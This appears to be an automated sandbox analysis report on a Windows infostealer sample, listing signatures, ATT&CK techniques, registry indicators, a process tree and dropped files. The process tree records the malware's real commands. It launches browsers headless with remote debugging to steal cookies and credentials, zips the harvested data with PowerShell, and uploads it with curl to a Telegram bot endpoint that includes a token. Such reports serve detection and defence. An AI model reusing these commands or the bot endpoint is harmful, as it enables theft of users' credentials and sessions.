23e843b6024c66eb7da869b42e0b6de787a09b2bfb6ed32d5956f94b2ea9fcf0

Analysis

user interaction
yes
max time kernel
70s
max time network
63s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
15/04/2026, 15:39

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Sryxen-Stealer-Rewrite_real.exe
Size 2.9MB
Sample260415-s3k7csct2j
SHA256 23e843b6024c66eb7da869b42e0b6de787a09b2bfb6ed32d5956f94b2ea9fcf0
MD5 574b93458b84e8d6b962a7bc6bc05e9e
SHA1 d8832c5c942a851438097c9fa00e52e0fbdba8dc
SHA512 889d48b1f62ab52aea307b09f817878540edcf47cec20b8cf1f887838f27e5fa18303d34189777788ede0aecd897de4f447782ea907f40f37355e0a9c096a18f
SSDEEP 24576:ahrIvhKqUXt3hFyqXKqWUTV1V1V1VeKJ6BOPhbAM3Tfp3I+ASr5k+YhJnJnEDZBR:a1IWX9yqXKqWUDJbbpIei7hH/M
TLSH
T165E5F8EEDA7F11E9C0B7D0B8A157721BF9A1384943B557C752908F0A2B13AE4A97D3C0
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

credential_access discovery execution spyware stealer

Malware Config

Signatures

Uses browser remote debugging 2 TTPs 9 IoCs

Can be used control the browser and steal sensitive information such as credentials and session cookies.

credential_access stealer

Steal Web Session Cookie

T1539

Modify Authentication Process

T1556

pid	Process
4756	chrome.exe
1900	chrome.exe
3616	msedge.exe
3392	msedge.exe
3244	msedge.exe
3044	msedge.exe
3064	chrome.exe
948	chrome.exe
3848	msedge.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4132	powershell.exe

System Time Discovery 1 TTPs 2 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
4136	chrome.exe
4304	msedge.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	chrome.exe

Enumerates system info in registry 2 TTPs 6 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	msedge.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	msedge.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Cryptography\TPM\Telemetry	chrome.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\SOFTWARE\Microsoft\Cryptography\TPM\Telemetry\TraceTimeLast = "134207411585922702"	chrome.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2023547815-1162023398-1465618254-1000_Classes\CLSID\{018D5C66-4533-4307-9B53-224DE2ED1FE6}\Instance\	chrome.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
4432	Sryxen-Stealer-Rewrite_real.exe
4432	Sryxen-Stealer-Rewrite_real.exe
4432	Sryxen-Stealer-Rewrite_real.exe
4432	Sryxen-Stealer-Rewrite_real.exe
3064	chrome.exe
3064	chrome.exe
3064	chrome.exe
4432	Sryxen-Stealer-Rewrite_real.exe
4432	Sryxen-Stealer-Rewrite_real.exe
4132	powershell.exe
4132	powershell.exe
4132	powershell.exe

Suspicious use of AdjustPrivilegeToken 9 IoCs

description	pid	Process
Token: SeShutdownPrivilege	3064	chrome.exe
Token: SeCreatePagefilePrivilege	3064	chrome.exe
Token: SeShutdownPrivilege	3064	chrome.exe
Token: SeCreatePagefilePrivilege	3064	chrome.exe
Token: SeShutdownPrivilege	3064	chrome.exe
Token: SeCreatePagefilePrivilege	3064	chrome.exe
Token: SeShutdownPrivilege	3064	chrome.exe
Token: SeCreatePagefilePrivilege	3064	chrome.exe
Token: SeDebugPrivilege	4132	powershell.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
3064	chrome.exe
3848	msedge.exe
3848	msedge.exe

Suspicious use of WriteProcessMemory 22 IoCs

description	pid	Process	procid_target
PID 4432 wrote to memory of 3064	4432	Sryxen-Stealer-Rewrite_real.exe	87
PID 3064 wrote to memory of 2948	3064	chrome.exe	88
PID 3064 wrote to memory of 632	3064	chrome.exe	89
PID 3064 wrote to memory of 4136	3064	chrome.exe	90
PID 3064 wrote to memory of 5072	3064	chrome.exe	91
PID 3064 wrote to memory of 1900	3064	chrome.exe	92
PID 3064 wrote to memory of 4756	3064	chrome.exe	93
PID 3064 wrote to memory of 948	3064	chrome.exe	95
PID 3064 wrote to memory of 3824	3064	chrome.exe	97
PID 4432 wrote to memory of 3848	4432	Sryxen-Stealer-Rewrite_real.exe	101
PID 3848 wrote to memory of 3792	3848	msedge.exe	102
PID 3848 wrote to memory of 4776	3848	msedge.exe	103
PID 3848 wrote to memory of 4304	3848	msedge.exe	104
PID 3848 wrote to memory of 1668	3848	msedge.exe	105
PID 3848 wrote to memory of 3616	3848	msedge.exe	107
PID 3848 wrote to memory of 3392	3848	msedge.exe	108
PID 3848 wrote to memory of 3244	3848	msedge.exe	109
PID 3848 wrote to memory of 3044	3848	msedge.exe	110
PID 4432 wrote to memory of 3452	4432	Sryxen-Stealer-Rewrite_real.exe	115
PID 3452 wrote to memory of 4132	3452	cmd.exe	116
PID 4432 wrote to memory of 2316	4432	Sryxen-Stealer-Rewrite_real.exe	117
PID 2316 wrote to memory of 1464	2316	cmd.exe	118

C:\Users\Admin\AppData\Local\Temp\Sryxen-Stealer-Rewrite_real.exe
"C:\Users\Admin\AppData\Local\Temp\Sryxen-Stealer-Rewrite_real.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4432
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --remote-debugging-port=26386 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Checks processor information in registry
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffd5c2cc728,0x7ffd5c2cc734,0x7ffd5c2cc740
    3⤵
    PID:2948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=1980 /prefetch:2
    3⤵
    PID:632
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2060 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4136
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2664 /prefetch:8
    3⤵
    PID:5072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=26386 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2764 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:1900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=26386 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=2924 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:4756
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=26386 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4044 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:948
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --force-high-res-timeticks=disabled --field-trial-handle=1984,i,2658747594059311705,11547341377620846972,262144 --disable-features=PaintHolding --variations-seed-version=20260129-090048.396000 --mojo-platform-channel-handle=4640 /prefetch:8
    3⤵
    PID:3824
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --remote-debugging-port=44377 --remote-allow-origins=* --disable-extensions --no-sandbox --disable-gpu
  2⤵
  - Uses browser remote debugging
  - Enumerates system info in registry
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:3848
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x250,0x254,0x258,0x24c,0x260,0x7ffd5bafc188,0x7ffd5bafc194,0x7ffd5bafc1a0
    3⤵
    PID:3792
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-sandbox --headless --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --use-gl=angle --use-angle=swiftshader-webgl --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2196 /prefetch:2
    3⤵
    PID:4776
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=2220 /prefetch:3
    3⤵
    - System Time Discovery
    PID:4304
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-sandbox --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --force-high-res-timeticks=disabled --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3016 /prefetch:8
    3⤵
    PID:1668
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=44377 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3224 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3616
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=44377 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3228 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3392
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=44377 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3680 /prefetch:1
    3⤵
    - Uses browser remote debugging
    PID:3244
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --noerrdialogs --user-data-dir="C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --no-sandbox --remote-debugging-port=44377 --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --field-trial-handle=2200,i,8321129268353050480,14192619883411622763,262144 --disable-features=PaintHolding --variations-seed-version --mojo-platform-channel-handle=3176 /prefetch:2
    3⤵
    - Uses browser remote debugging
    PID:3044
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c powershell -Command Compress-Archive -Path "C:\Users\Admin\AppData\Local\Temp\Sryxen" -DestinationPath "C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip" >nul 2>&1
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command Compress-Archive -Path "C:\Users\Admin\AppData\Local\Temp\Sryxen" -DestinationPath "C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -F "chat_id=-5015914754" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip\"" -F "caption=DIR: Cryptowallets Games Socials VPN " https://api.telegram.org/bot8093384989:AAETISiLfEF0SKaSP-7seypZeHlZtvSTjUk/sendDocument
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2316
- - C:\Windows\system32\curl.exe
    curl -F "chat_id=-5015914754" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip\"" -F "caption=DIR: Cryptowallets Games Socials VPN " https://api.telegram.org/bot8093384989:AAETISiLfEF0SKaSP-7seypZeHlZtvSTjUk/sendDocument
    3⤵
    PID:1464

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:1916

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1556

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:832

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Modify Authentication Process

T1556

Privilege Escalation

Defense Evasion

Modify Authentication Process

T1556

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Modify Authentication Process

T1556

Steal Web Session Cookie

T1539

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\nmmhkkegccagdldgiimedpiccmgmieda\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Last Browser

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Browser
Size 106B
SHA256 3615498fbef408a96bf30e01c318dac2d5451b054998119080e7faac5995f590
MD5 de9ef0c5bcc012a3a1131988dee272d8
SHA1 fa9ccbdc969ac9e1474fce773234b28d50951cd8
SHA512 cea946ebeadfe6be65e33edff6c68953a84ec2e2410884e12f406cac1e6c8a0793180433a7ef7ce097b24ea78a1fdbb4e3b3d9cdf1a827ab6ff5605da3691724
TLSH
T1AAB0112033FC0228F3F38200AE333BA00F3FF8230000022CA008228808B38288880FB3
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
Size 13B
SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
MD5 43ef949d3c6e9956545979ace65d0085
SHA1 63f2b2de8727854597e49a1216e8e74c68117c07
SHA512 313a5ab7ac9b5efd955beba4615784bdc2a9058ddaa804d85fb2d0c651dd3de07e382d61a1bb482499520a80e0b64c004ff2af03459cbc1daef47f540f0a6905
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 89KB
SHA256 344603d53e613deaee9c8e1e2a2d5de7aabacb35d7c2286952de727229201173
MD5 4b3270526546eda5b113587855518756
SHA1 32058800c05301ac240cccb38b8a0561cc3d1b35
SHA512 7aed7f97351703df70dd42c4afdc246bc6246b5560aac8c570e5c606064781ce4509e0721a6782bcdccd50d656d892d9fb22aa87ed855a320d4631837acf9de4
SSDEEP 1536:YocYRrL+PTA5F9/EO93Sos5EA3A820kOzXmUWUSGbqRszr6vFAlZLPm+6jR9YE3u:L3Qw/xLANk0mUW5GmRntSFCjEEN4
TLSH
T19F9312BA8E174AEB957D4A8176AE7809CE12230D70AFB9CC315C538C21D41C92B73E73
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 2118f3debea8e2640977d8aaf949f09ebd1208d30ba20757560f958087279634
MD5 8d9c606cac641db39043b73620b9af30
SHA1 5641a30c54a84af71f1a3aab03ca11b81a4d3457
SHA512 e3db3c84d1a85989aeb2ab3f1c4235705e72fc3ef797e27988b927948b985b91f9a11ed453d521868095f672866c1590fad569dfc486201d39a6df77306d4a6d
TLSH
T13ED0C04810711C30D09D90734C4977873408C9538C4357321073386C0C030601685187
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 5cc77a69e2933d0235ac8a539206200c479816f5bda04a32fda5a396eed16f10
MD5 1c0c83b8e90dc2addc52496554af3ff3
SHA1 d51d2e4f19bae4673952b8a9a969fbf594f3b774
SHA512 8953275d791ff6c9f0be1af08ed082a774a4afed8467fd458e4c175381ed8191baebfe40ebe8844eaf7a7054a60441da2d5759499d2bd067a8d0315d8593071f
TLSH
T1F3D0C04810B11C30D49D90734C4877873408C9538C4397331073386C0C030A01685187
MD5 SHA1 SHA512 TLSH

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\38efcfc5-d8cd-4852-9a2f-8087fe5febd5\index-dir\the-real-index
Size 2KB
SHA256 a19cad2a687e82f9a4ba0af553d97c9c61fbbb8e3889b4280e915107ed53a48f
MD5 c3071673f35e20d0b0c55133a9949b53
SHA1 b43c23137d05d34f0e5192589ba9f5ed58e595be
SHA512 24df7a5b57876c74d686ab67320ebb09c3e8e9e0bbc059b644db395409d8e01898650cd51cd85a7a61ed01e92ee5f6ffe60de7ea9e3d05eabe383a069940dab6
TLSH
T1D741E89CCC8D1A53D9B980B148F9166833344DEF1E588B072CBC25785D8729A2D97218
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe583014.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\38efcfc5-d8cd-4852-9a2f-8087fe5febd5\index-dir\the-real-index~RFe583014.TMP
Size 2KB
SHA256 092d15c55fe040fe414e642b0a36f8748cdccfa656c0ea01f8f5e2b73a75b159
MD5 4e97b92a7598cfa1a4466845ceb5c74e
SHA1 736606e8a9120fd201a910a391a5adc76786e083
SHA512 3300b5f82ecdea56b92f6ba1b26aefe0fcc326f39124bae62fd64228d3b585d927f9e2c76ee86793c2d831881a607cb01cc5fb1e29a3dbeb2de4ab047293bb36
TLSH
T1F941E95F9C824A32CD7580B389C92468333EA8D509449F0B34FCC633ACC76AC3DA2394
MD5 SHA1 SHA512 TLSH

Submit Download

Last Version

